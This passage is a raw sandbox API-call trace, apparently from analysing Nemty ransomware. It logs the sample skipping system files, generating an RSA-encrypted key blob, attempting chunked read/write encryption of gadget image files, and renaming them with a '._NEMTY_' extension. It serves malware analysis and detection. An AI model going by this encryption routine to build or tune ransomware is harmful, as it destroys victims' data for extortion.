hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.088] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_play.png", cAlternateFileName="")) returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2=".") returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="..") returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="...") returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="windows") returned -1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="$RECYCLE.BIN") returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="rsa") returned -1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="NTDETECT.COM") returned -1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="ntldr") returned -1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="MSDOS.SYS") returned -1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="IO.SYS") returned -1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="boot.ini") returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="boot.ini") returned 1 [0131.088] lstrcmpiW (lpString1="button_play.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="ntuser.dat") returned -1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="desktop.ini") returned -1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="CONFIG.SYS") returned -1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="RECYCLER") returned -1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="BOOTSECT.BAK") returned 1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="bootmgr") returned 1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="programdata") returned -1 [0131.089] lstrcmpiW (lpString1="button_play.png", lpString2="appdata") returned 1 [0131.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_play.png", lpUsedDefaultChar=0x0) returned 15 [0131.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_play.png", lpUsedDefaultChar=0x0) returned 15 [0131.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_play.png", lpUsedDefaultChar=0x0) returned 15 [0131.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_play.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_play.png", lpUsedDefaultChar=0x0) returned 15 [0131.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0131.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0131.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0131.089] Sleep (dwMilliseconds=0x5) [0131.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1c9e830, dwHighDateTime=0x1d561e8)) [0131.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1c9e830, dwHighDateTime=0x1d561e8)) [0131.100] GetLastError () returned 0x5 [0131.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.100] GetLastError () returned 0x5 [0131.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.100] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.100] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.101] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0131.101] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="pS9Jj0KMxukwyJtIu4zFfbGCsA3QD8zCi0rclBWalqjmLIEYkJMwYVyLUrZsUvlF\r\ndoCjBC/ErgFxCBajb9Otc/KrW/f5sZcDkr4U6xtDRxyynFQdGfhHQn+csm1u4Jgv\r\nzgEI5m2rI4ZO2XxAEFuNAKIx2ZF8DSvL4lmSTGvr+g1QBInoEdSSs6ujHgNF3zd5\r\nxi6ggA1AMvakCjOfDH4c6CKg90t2WJ2uJUK5o3NYyi3p164mQFPV1UtB/y5MfXBw\r\npG9lMiuHt3pcLZ4/UjnbXzqgD2yTLhlJnjERXOwjD298ukgUc4FoVx3LwU7FIPG9\r\nbBohppBW3JD6tadHnhrxSA==\r\n", pcchString=0x653e91c) returned 1 [0131.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0131.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0131.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.101] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.101] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.211] CloseHandle (hObject=0xffffffff) returned 0 [0131.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0131.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0131.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0131.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0131.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png._nemty_kgobjgd_")) returned 0 [0131.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0131.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0131.212] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_right_mousedown.png", cAlternateFileName="")) returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2=".") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="..") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="...") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="windows") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="$RECYCLE.BIN") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="rsa") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="NTDETECT.COM") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="ntldr") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="MSDOS.SYS") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="IO.SYS") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="boot.ini") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="boot.ini") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="ntuser.dat") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="desktop.ini") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="CONFIG.SYS") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="RECYCLER") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="BOOTSECT.BAK") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="bootmgr") returned 1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="programdata") returned -1 [0131.212] lstrcmpiW (lpString1="button_right_mousedown.png", lpString2="appdata") returned 1 [0131.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 